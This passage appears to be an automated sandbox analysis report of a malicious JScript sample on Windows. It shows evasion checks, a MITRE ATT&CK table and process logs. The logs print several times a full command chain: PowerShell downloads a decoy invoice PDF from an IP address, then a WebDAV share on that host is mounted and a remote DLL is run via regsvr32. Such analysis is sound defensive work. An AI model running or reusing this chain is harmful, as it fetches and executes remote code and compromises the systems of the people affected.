Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4062.js.csv");ITextStream.WriteLine(" entry:7153 f:mixxqpsyw");ITextStream.WriteLine(" exec:2 f:mixxqpsyw");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49755

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4901			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4968			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 724	Thread sleep count: 4901 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 724	Thread sleep count: 4968 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4620	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4052	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5660	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3332	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1414741820.0000028532DDE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1414741820.0000028532D78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2636969163.000001C2C1C58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2635848933.000001C2BC627000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2636931738.000001C2C1C41000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
